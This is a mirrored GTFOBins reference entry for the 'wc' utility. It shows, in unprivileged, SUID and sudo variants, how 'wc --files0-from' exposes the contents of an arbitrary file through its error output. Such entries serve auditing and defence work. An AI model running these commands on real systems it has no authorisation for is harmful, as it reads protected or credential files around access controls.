mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
17 lines
459 B
Markdown
17 lines
459 B
Markdown
---
|
|
description: The file content is parsed as a sequence of `\x00` separated paths. On error the file content appears in a message, so this may not be suitable to read binary files.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
wc --files0-from "$LFILE"
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./wc --files0-from "$LFILE"
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo wc --files0-from "$LFILE"
|
|
---
|